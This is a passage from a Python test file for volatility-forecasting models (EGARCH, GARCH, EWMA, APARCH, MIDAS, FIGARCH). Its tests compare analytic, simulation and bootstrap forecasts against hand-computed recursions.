shocks[100:]) def test_egarch_211_forecast(self): t = self.t dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = EGARCH(p=2, o=1, q=1) params = np.array([0.0, 0.15, 0.05, 0.1, 0.95]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) _resids = np.array(resids.tolist() + [0]) _sigma2 = np.empty_like(_resids) _var_bounds = np.array(var_bounds.tolist() + [[0, np.inf]]) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) one_step = _sigma2[1:][:, None] assert_allclose(forecast.forecasts, one_step) assert forecast.forecast_paths is None assert forecast.shocks is None expected = forecast.forecasts.copy() expected[:-1] = np.nan forecast = vol.forecast(params, resids, backcast, var_bounds, horizon=1) assert_allclose(forecast.forecasts, expected[-1:]) assert forecast.forecast_paths is None assert forecast.shocks is None with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=7, start=433, method="simulation", rng=rng, ) sigma2 = np.empty_like(self.resid) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) std_resids = resids / np.sqrt(sigma2) paths = np.empty((t, 1000, 7)) paths.fill(np.nan) shocks = np.empty((t, 1000, 7)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(433, t): std_shocks = rng((1000, 7)) paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 7): lag_1_sym = np.abs(std_shocks[:, j - 1]) - sqrt2pi if j > 1: lag_2_sym = np.abs(std_shocks[:, j - 2]) - sqrt2pi else: lag_2_sym = np.abs(std_resids[i]) - sqrt2pi paths[i, :, j] = ( params[0] + params[1] * lag_1_sym + params[2] * lag_2_sym + params[3] * std_shocks[:, j - 1] + params[4] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[433:].mean(1)) assert_allclose(forecast.forecast_paths, paths[433:]) assert_allclose(forecast.shocks, shocks[433:]) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=3, start=731, method="bootstrap", simulations=1111, random_state=self.rng, ) paths = np.empty((t, 1111, 3)) paths.fill(np.nan) shocks = np.empty((t, 1111, 3)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(731, t): locs = self.rng.random_sample((1111, 3)) int_locs = np.floor((i + 1) * locs).astype(np.int64) std_shocks = std_resids[int_locs] paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 3): lag_1_sym = np.abs(std_shocks[:, j - 1]) - sqrt2pi if j > 1: lag_2_sym = np.abs(std_shocks[:, j - 2]) - sqrt2pi else: lag_2_sym = np.abs(std_resids[i]) - sqrt2pi paths[i, :, j] = ( params[0] + params[1] * lag_1_sym + params[2] * lag_2_sym + params[3] * std_shocks[:, j - 1] + params[4] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[731:].mean(1)) assert_allclose(forecast.forecast_paths, paths[731:]) assert_allclose(forecast.shocks, shocks[731:]) def test_egarch_212_forecast_smoke(self): t = self.t dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = EGARCH(p=2, o=1, q=2) params = np.array([0.0, 0.15, 0.05, 0.1, 0.55, 0.4]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) _resids = np.array(resids.tolist() + [0]) _sigma2 = np.empty_like(_resids) _var_bounds = np.array(var_bounds.tolist() + [[0, np.inf]]) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) one_step = _sigma2[1:][:, None] assert_allclose(forecast.forecasts, one_step) assert forecast.forecast_paths is None assert forecast.shocks is None expected = forecast.forecasts.copy() expected[:-1] = np.nan forecast = vol.forecast(params, resids, backcast, var_bounds, horizon=1) assert_allclose(forecast.forecasts, expected[-1:]) assert forecast.forecast_paths is None assert forecast.shocks is None with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=7, start=433, method="simulation", rng=rng, ) sigma2 = np.empty_like(self.resid) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) std_resids = resids / np.sqrt(sigma2) paths = np.empty((t, 1000, 7)) paths.fill(np.nan) shocks = np.empty((t, 1000, 7)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(433, t): std_shocks = rng((1000, 7)) paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 7): lag_1_sym = np.abs(std_shocks[:, j - 1]) - sqrt2pi lag_1_path = paths[i, :, j - 1] if j > 1: lag_2_sym = np.abs(std_shocks[:, j - 2]) - sqrt2pi lag_2_path = paths[i, :, j - 2] else: lag_2_sym = np.abs(std_resids[i]) - sqrt2pi lag_2_path = np.log(sigma2[i]) paths[i, :, j] = ( params[0] + params[1] * lag_1_sym + params[2] * lag_2_sym + params[3] * std_shocks[:, j - 1] + params[4] * lag_1_path + params[5] * lag_2_path ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[433:].mean(1)) assert_allclose(forecast.forecast_paths, paths[433:]) assert_allclose(forecast.shocks, shocks[433:]) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=3, start=731, method="bootstrap", simulations=1111, random_state=self.rng, ) paths = np.empty((t, 1111, 3)) paths.fill(np.nan) shocks = np.empty((t, 1111, 3)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(731, t): locs = self.rng.random_sample((1111, 3)) int_locs = np.floor((i + 1) * locs).astype(np.int64) std_shocks = std_resids[int_locs] paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 3): lag_1_sym = np.abs(std_shocks[:, j - 1]) - sqrt2pi lag_1_path = paths[i, :, j - 1] if j > 1: lag_2_sym = np.abs(std_shocks[:, j - 2]) - sqrt2pi lag_2_path = paths[i, :, j - 2] else: lag_2_sym = np.abs(std_resids[i]) - sqrt2pi lag_2_path = np.log(sigma2[i]) paths[i, :, j] = ( params[0] + params[1] * lag_1_sym + params[2] * lag_2_sym + params[3] * std_shocks[:, j - 1] + params[4] * lag_1_path + params[5] * lag_2_path ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[731:].mean(1)) assert_allclose(forecast.forecast_paths, paths[731:]) assert_allclose(forecast.shocks, shocks[731:]) def test_constant_variance_simulation(self): t = self.t dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = ConstantVariance() params = np.array([10.0]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, method="simulation", rng=rng, ) assert forecast.forecasts.shape == (1, 1) assert forecast.forecast_paths.shape == (1, 1000, 1) assert forecast.shocks.shape == (1, 1000, 1) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(forecast.forecast_paths == params[0]) assert np.all(np.isfinite(forecast.shocks)) assert_allclose(forecast.shocks[-1], np.sqrt(params[0]) * rng((1000, 1))) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="simulation", rng=rng, ) assert forecast.forecasts.shape == (1, 5) assert forecast.forecast_paths.shape == (1, 1000, 5) assert forecast.shocks.shape == (1, 1000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts[-1] == params[0]) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(forecast.forecast_paths[-1] == params[0]) assert_allclose(forecast.shocks[-1], np.sqrt(params[0]) * rng((1000, 5))) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, start=100, method="simulation", simulations=2000, rng=rng, ) # TODO: This is not correct. Should be (900,5) assert forecast.forecasts.shape == (900, 5) assert forecast.forecast_paths.shape == (900, 2000, 5) assert forecast.shocks.shape == (900, 2000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(forecast.forecast_paths == params[0]) expected = np.sqrt(params[0]) * rng((t - 100, 2000, 5)) expected = np.concatenate((np.empty((100, 2000, 5)), expected)) assert_allclose(forecast.shocks, expected[100:]) def test_constant_variance_bootstrap(self): t = self.t vol = ConstantVariance() params = np.array([10.0]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="bootstrap", random_state=self.rng, ) assert forecast.forecasts.shape == (1, 5) assert forecast.forecast_paths.shape == (1, 1000, 5) assert forecast.shocks.shape == (1, 1000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts[-1] == params[0]) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(forecast.forecast_paths[-1] == params[0]) index = np.floor(self.rng.random_sample((1000, 5)) * t) index = index.astype(np.int64) assert_allclose(forecast.shocks[-1], self.resid[index]) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="bootstrap", start=100, simulations=2000, random_state=self.rng, ) assert forecast.forecasts.shape == (900, 5) assert forecast.forecast_paths.shape == (900, 2000, 5) assert forecast.shocks.shape == (900, 2000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(forecast.forecast_paths == params[0]) expected = np.empty((1000, 2000, 5)) expected.fill(np.nan) for i in range(100, 1000): index = self.rng.random_sample((2000, 5)) int_index = np.floor((i + 1) * index).astype(np.int64) expected[i] = self.resid[int_index] assert_allclose(forecast.shocks, expected[100:]) def test_garch11_simulation(self): t = self.t vol = GARCH(p=1, o=0, q=1) dist = Normal(seed=self.rng) rng = dist.simulate([]) params = np.array([10.0, 0.1, 0.85]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, method="simulation", rng=rng, ) assert forecast.forecasts.shape == (1, 10) assert forecast.forecast_paths.shape == (1, 1000, 10) assert forecast.shocks.shape == (1, 1000, 10) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.shocks)) std_shocks = rng((1000, 10)) one_step = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, start=0 ) paths = np.zeros((1000, 10)) shocks = np.zeros((1000, 10)) paths[:, 0] = one_step.forecasts[-1] shocks[:, 0] = np.sqrt(paths[:, 0]) * std_shocks[:, 0] for i in range(1, 10): paths[:, i] = params[0] paths[:, i] += params[1] * shocks[:, i - 1] ** 2.0 paths[:, i] += params[2] * paths[:, i - 1] shocks[:, i] = np.sqrt(paths[:, i]) * std_shocks[:, i] forecasts = paths.mean(0) assert_allclose(forecast.forecasts[-1], forecasts) assert_allclose(forecast.forecast_paths[-1], paths) assert_allclose(forecast.shocks[-1], shocks) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, method="simulation", simulations=2000, rng=rng, ) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.shocks)) assert forecast.forecasts.shape == (1, 10) assert forecast.forecast_paths.shape == (1, 2000, 10) assert forecast.shocks.shape == (1, 2000, 10) std_shocks = rng((2000, 10)) paths = np.zeros((2000, 10)) shocks = np.zeros((2000, 10)) paths[:, 0] = one_step.forecasts[-1] shocks[:, 0] = np.sqrt(paths[:, 0]) * std_shocks[:, 0] for i in range(1, 10): paths[:, i] = params[0] paths[:, i] += params[1] * shocks[:, i - 1] ** 2.0 paths[:, i] += params[2] * paths[:, i - 1] shocks[:, i] = np.sqrt(paths[:, i]) * std_shocks[:, i] forecasts = paths.mean(0) assert_allclose(forecast.forecasts[-1], forecasts) assert_allclose(forecast.forecast_paths[-1], paths) assert_allclose(forecast.shocks[-1], shocks) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=3, method="simulation", start=0, rng=rng, ) paths = np.zeros((1000, 3)) shocks = np.zeros((1000, 3)) for j in range(t): std_shocks = rng((1000, 3)) paths[:, 0] = one_step.forecasts[j] shocks[:, 0] = np.sqrt(paths[:, 0]) * std_shocks[:, 0] for i in range(1, 3): paths[:, i] = params[0] paths[:, i] += params[1] * shocks[:, i - 1] ** 2.0 paths[:, i] += params[2] * paths[:, i - 1] shocks[:, i] = np.sqrt(paths[:, i]) * std_shocks[:, i] forecasts = paths.mean(0) assert_allclose(forecast.forecasts[j], forecasts) assert_allclose(forecast.forecast_paths[j], paths) assert_allclose(forecast.shocks[j], shocks) def test_garch11_bootstrap(self): t = self.t vol = GARCH(p=1, o=0, q=1) params = np.array([10.0, 0.1, 0.85]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, method="bootstrap", start=100, random_state=self.rng, ) paths = np.empty((t, 1000, 10)) paths.fill(np.nan) shocks = np.empty((t, 1000, 10)) shocks.fill(np.nan) _sigma2 = np.empty(t + 1) _resids = np.concatenate((self.resid, [0])) _var_bounds = np.concatenate((var_bounds, [[0, np.inf]])) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) std_resid = self.resid / np.sqrt(_sigma2[:-1]) one_step = _sigma2[1:] omega, alpha, beta = params for i in range(100, t): locs = np.floor((i + 1) * self.rng.random_sample((1000, 10))).astype( np.int64 ) std_shocks = std_resid[locs] paths[i, :, 0] = one_step[i] shocks[i, :, 0] = np.sqrt(paths[i, :, 0]) * std_shocks[:, 0] for j in range(1, 10): paths[i, :, j] = ( omega + alpha * shocks[i, :, j - 1] ** 2.0 + beta * paths[i, :, j - 1] ) shocks[i, :, j] = np.sqrt(paths[i, :, j]) * std_shocks[:, j] assert_allclose(forecast.forecasts, paths[100:].mean(1)) assert_allclose(forecast.forecast_paths, paths[100:]) assert_allclose(forecast.shocks, shocks[100:]) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, method="bootstrap", simulations=2000, start=100, ) assert forecast.forecasts.shape == (t - 100, 10) assert forecast.forecast_paths.shape == (t - 100, 2000, 10) assert forecast.shocks.shape == (t - 100, 2000, 10) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(np.isfinite(forecast.shocks)) def test_gjrgarch222_simulation(self): vol = GARCH(p=2, o=2, q=2) params = np.array([10.0, 0.05, 0.03, 0.1, 0.05, 0.3, 0.2]) dist = Normal(seed=self.rng) rng = dist.simulate([]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) one_step = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, start=0 ) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=3, method="simulation", start=0, rng=rng, simulations=100, ) paths = np.zeros((100, 3)) shocks = np.zeros((100, 3)) resids = self.resid sigma2_0 = ( params[0] + (np.sum(params[1:]) - 0.5 * np.sum(params[3:5])) * backcast ) _sigma2 = np.concatenate([[backcast], [sigma2_0], one_step.forecasts[:-1, 0]]) _resids = np.concatenate([[np.sqrt(backcast)], resids]) _asymresids = np.concatenate( ([[np.sqrt(0.5 * backcast)], resids * (resids < 0)]) ) for t in range(resids.shape[0]): std_shocks = rng((100, 3)) j = 0 tau = t + 1 + j + 1 r1, r2 = _resids[tau - 1], _resids[tau - 2] a1, a2 = _asymresids[tau - 1], _asymresids[tau - 2] s21, s22 = _sigma2[tau - 1], _sigma2[tau - 2] fcast = ( params[0] + params[1] * r1 ** 2 + params[2] * r2 ** 2 + params[3] * a1 ** 2 + params[4] * a2 ** 2 + params[5] * s21 + params[6] * s22 ) paths[:, j] = fcast shocks[:, j] = std_shocks[:, j] * np.sqrt(fcast) j = 1 r1, r2 = shocks[:, 0], _resids[tau - 1] a1, a2 = shocks[:, 0] * (shocks[:, 0] < 0), _asymresids[tau - 1] s21, s22 = paths[:, 0], _sigma2[tau - 1] fcast = ( params[0] + params[1] * r1 ** 2 + params[2] * r2 ** 2 + params[3] * a1 ** 2 + params[4] * a2 ** 2 + params[5] * s21 + params[6] * s22 ) paths[:, j] = fcast shocks[:, j] = std_shocks[:, j] * np.sqrt(fcast) j = 2 r1, r2 = shocks[:, 1], shocks[:, 0] a1, a2 = ( shocks[:, 1] * (shocks[:, 1] < 0), shocks[:, 0] * (shocks[:, 0] < 0), ) s21, s22 = paths[:, 1], paths[:, 0] fcast = ( params[0] + params[1] * r1 ** 2 + params[2] * r2 ** 2 + params[3] * a1 ** 2 + params[4] * a2 ** 2 + params[5] * s21 + params[6] * s22 ) paths[:, j] = fcast shocks[:, j] = std_shocks[:, j] * np.sqrt(fcast) forecasts = paths.mean(0) assert_allclose(forecast.forecasts[t], forecasts) assert_allclose(forecast.forecast_paths[t], paths) assert_allclose(forecast.shocks[t], shocks) def test_ewma_forecast(self): t = self.t vol = EWMAVariance() params = np.array([]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0 ) expected = np.zeros((t + 1)) expected[0] = backcast lam = 0.94 for i in range(1, t + 1): expected[i] = lam * expected[i - 1] + (1 - lam) * resids[i - 1] ** 2 for i in range(10): assert_allclose(forecast.forecasts[:, i], expected[1:]) alt_forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=500 ) _compare_truncated_forecasts(forecast, alt_forecast, 500) vol_estim = EWMAVariance(lam=None) param_estim = np.array([0.94]) forecast_estim = vol_estim.forecast( param_estim, resids, backcast, var_bounds, horizon=10, start=0 ) for i in range(10): assert_allclose(forecast.forecasts[:, i], forecast_estim.forecasts[:, i]) def test_ewma_simulation(self): t = self.t vol = EWMAVariance() params = np.array([]) resids = self.resid dist = Normal(seed=self.rng) rng = dist.simulate([]) backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) with preserved_state(self.rng): forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) vol_estim = EWMAVariance(lam=None) param_estim = np.array([0.94]) with preserved_state(self.rng): forecasts_estim = vol_estim.forecast( param_estim, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) one_step = np.empty(t + 1) one_step[0] = backcast for i in range(1, t + 1): one_step[i] = vol.lam * one_step[i - 1] + (1 - vol.lam) * resids[i - 1] ** 2 one_step = one_step[1:] paths = np.empty((t, 1000, 10)) shocks = np.empty((t, 1000, 10)) for i in range(t): std_shocks = rng((1000, 10)) paths[i, :, 0] = one_step[i] shocks[i, :, 0] = np.sqrt(paths[i, :, 0]) * std_shocks[:, 0] for j in range(1, 10): paths[i, :, j] = ( vol.lam * paths[i, :, j - 1] + (1 - vol.lam) * shocks[i, :, j - 1] ** 2 ) shocks[i, :, j] = np.sqrt(paths[i, :, j]) * std_shocks[:, j] assert_allclose(forecasts.forecasts, paths.mean(1)) assert_allclose(forecasts.forecast_paths, paths) assert_allclose(forecasts.shocks, shocks) assert_allclose(forecasts_estim.forecasts, paths.mean(1)) assert_allclose(forecasts_estim.forecast_paths, paths) assert_allclose(forecasts_estim.shocks, shocks) forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=252, method="simulation", rng=rng, ) assert forecasts.forecasts.shape == (1000 - 252, 10) assert forecasts.forecast_paths.shape == (1000 - 252, 1000, 10) assert forecasts.shocks.shape == (1000 - 252, 1000, 10) assert np.all(np.isfinite(forecasts.forecasts)) assert np.all(np.isfinite(forecasts.forecast_paths)) assert np.all(np.isfinite(forecasts.shocks)) def test_ewma_bootstrap(self): t = self.t vol = EWMAVariance() params = np.array([]) resids = self.resid dist = Normal(seed=self.rng) rng = dist.simulate([]) backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) with preserved_state(self.rng): forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=131, method="bootstrap", rng=rng, random_state=self.rng, ) sigma2 = np.empty_like(self.resid) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) std_resids = resids / np.sqrt(sigma2) one_step = np.empty(t + 1) one_step[0] = backcast for i in range(1, t + 1): one_step[i] = vol.lam * one_step[i - 1] + (1 - vol.lam) * resids[i - 1] ** 2 one_step = one_step[1:] paths = np.empty((t, 1000, 10)) paths.fill(np.nan) shocks = np.empty((t, 1000, 10)) shocks.fill(np.nan) for i in range(131, t): locs = self.rng.random_sample((1000, 10)) int_locs = np.floor(locs * (i + 1)).astype(np.int_) std_shocks = std_resids[int_locs] paths[i, :, 0] = one_step[i] shocks[i, :, 0] = np.sqrt(paths[i, :, 0]) * std_shocks[:, 0] for j in range(1, 10): paths[i, :, j] = ( vol.lam * paths[i, :, j - 1] + (1 - vol.lam) * shocks[i, :, j - 1] ** 2 ) shocks[i, :, j] = np.sqrt(paths[i, :, j]) * std_shocks[:, j] assert_allclose(forecasts.shocks, shocks[131:]) assert_allclose(forecasts.forecasts, paths[131:].mean(1)) assert_allclose(forecasts.forecast_paths, paths[131:]) forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=252, method="simulation", rng=rng, random_state=self.rng, ) assert forecasts.forecasts.shape == (1000 - 252, 10) assert forecasts.forecast_paths.shape == (1000 - 252, 1000, 10) assert forecasts.shocks.shape == (1000 - 252, 1000, 10) assert np.all(np.isfinite(forecasts.forecasts)) assert np.all(np.isfinite(forecasts.forecast_paths)) assert np.all(np.isfinite(forecasts.shocks)) def test_rm2006_forecast(self): vol = RiskMetrics2006() params = np.array([]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0 ) _resids = np.array(resids.tolist() + [0]) _sigma2 = np.empty_like(_resids) _var_bounds = np.array(var_bounds.tolist() + [[0, np.inf]]) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) assert forecasts.forecast_paths is None assert forecasts.shocks is None one_step = _sigma2[1:] for i in range(10): assert_allclose(forecasts.forecasts[:, i], one_step, rtol=1e-4) alt_forecasts = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=500 ) _compare_truncated_forecasts(forecasts, alt_forecasts, 500) def test_rm2006_simulation_smoke(self): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = RiskMetrics2006() params = np.array([]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) with preserved_state(self.rng): vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) def test_rm2006_bootstrap_smoke(self): vol = RiskMetrics2006() params = np.array([]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) with preserved_state(self.rng): vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=100, method="bootstrap", ) def test_aparch_one_step(self): vol = APARCH() resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.1, -0.5, 0.8, 1.5]) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) sigma2 = np.empty_like(resids) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) assert_allclose(sigma2[1:], forecast.forecasts[:-1, 0]) delta = params[-1] final = params[0] final += params[1] * ((np.abs(resids[-1]) - params[2] * resids[-1]) ** delta) final += params[3] * (sigma2[-1] ** (delta / 2.0)) final **= 2.0 / delta assert_allclose(final, forecast.forecasts[-1, 0]) delta = 2.0 vol = APARCH(delta=delta) params = np.array([0.1, 0.1, -0.5, 0.8]) sigma2 = np.empty_like(resids) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) assert_allclose(sigma2[1:], forecast.forecasts[:-1, 0]) final = params[0] final += params[1] * ((np.abs(resids[-1]) - params[2] * resids[-1]) ** delta) final += params[3] * (sigma2[-1] ** (delta / 2.0)) final **= 2.0 / delta assert_allclose(final, forecast.forecasts[-1, 0]) @pytest.mark.parametrize("o", [0, 1]) @pytest.mark.parametrize("delta", [None, 1.5]) def test_aparch_simulation_smoke(self, o, delta): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = APARCH(o=o, delta=delta) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.1, -0.5, 0.8]) if o == 0: params = np.array([0.1, 0.1, 0.8]) if delta is None: params = np.r_[params, 1.5] forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, simulations=100, ) sigma2 = np.empty_like(resids) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) assert_allclose(sigma2[1:], forecast.forecasts[:-1, 0]) delta = 1.5 if delta is None else delta final = params[0] gamma = 0.0 if o == 0 else params[2] final += params[1] * ((np.abs(resids[-1]) - gamma * resids[-1]) ** delta) beta = params[2 + int(o > 0)] final += beta * (sigma2[-1] ** (delta / 2.0)) final **= 2.0 / delta assert_allclose(final, forecast.forecasts[-1, 0]) with pytest.raises(ValueError, match="Analytic forecasts not"): vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="analytic", ) def test_midas_analytical(self): vol = MIDASHyperbolic() resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.9, 0.4]) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0 ) weights = vol._weights(params) arch_params = np.r_[params[0], params[1] * weights] expected = _simple_direct_gjrgarch_forecaster( resids, arch_params, 22, 0, 0, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) def test_midas_asym_analytical(self): vol = MIDASHyperbolic(asym=True) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.3, 1.0, 0.4]) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0 ) weights = vol._weights(params) arch_params = np.r_[params[0], params[1] * weights, params[2] * weights] expected = _simple_direct_gjrgarch_forecaster( resids, arch_params, 22, 22, 0, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) def test_midas_simulation(self): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = MIDASHyperbolic() resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.9, 0.4]) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) weights = vol._weights(params) arch = GARCH(p=22, o=0, q=0) arch_params = np.r_[params[0], params[1] * weights] with preserved_state(self.rng): arch_forecast = arch.forecast( arch_params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) assert_allclose(forecast.forecasts, arch_forecast.forecasts) assert_allclose(forecast.forecast_paths, arch_forecast.forecast_paths) assert_allclose(forecast.shocks, arch_forecast.shocks) def test_figarch_analytical(self): vol = FIGARCH(truncation=50) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.2, 0.4, 0.2]) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0 ) lam = figarch_weights(params[1:], 1, 1, vol.truncation) arch_params = np.r_[params[0] / (1 - params[-1]), lam] expected = _simple_direct_gjrgarch_forecaster( resids, arch_params, 50, 0, 0, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) assert forecast.forecasts.shape[1] == 1 vol = FIGARCH(truncation=50, power=1.0) with pytest.raises(ValueError): vol.forecast( params, resids, backcast, var_bounds, horizon=2, method="analytic" ) def test_figarch_simulation(self): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = FIGARCH(truncation=51) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.2, 0.4, 0.2]) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) lam = figarch_weights(params[1:], 1, 1, vol.truncation) arch = GARCH(p=vol.truncation, o=0, q=0) arch_params = np.r_[params[0] / (1 - params[-1]), lam] with preserved_state(self.rng): arch_forecast = arch.forecast( arch_params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) assert_allclose(forecast.forecasts, arch_forecast.forecasts) assert_allclose(forecast.forecast_paths, arch_forecast.forecast_paths) assert_allclose(forecast.shocks, arch_forecast.shocks) def test_midas_asym_simulation(self): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = MIDASHyperbolic(asym=True) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.3, 1.0, 0.4]) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) weights = vol._weights(params) arch = GARCH(p=22, o=22, q=0) arch_params = np.r_[params[0], params[1] * weights, params[2] * weights] with preserved_state(self.rng): arch_forecast = arch.forecast( arch_params, resids, backcast, var_bounds, horizon=10, start=0, method="simulation", rng=rng, ) assert_allclose(forecast.forecasts, arch_forecast.forecasts) assert_allclose(forecast.forecast_paths, 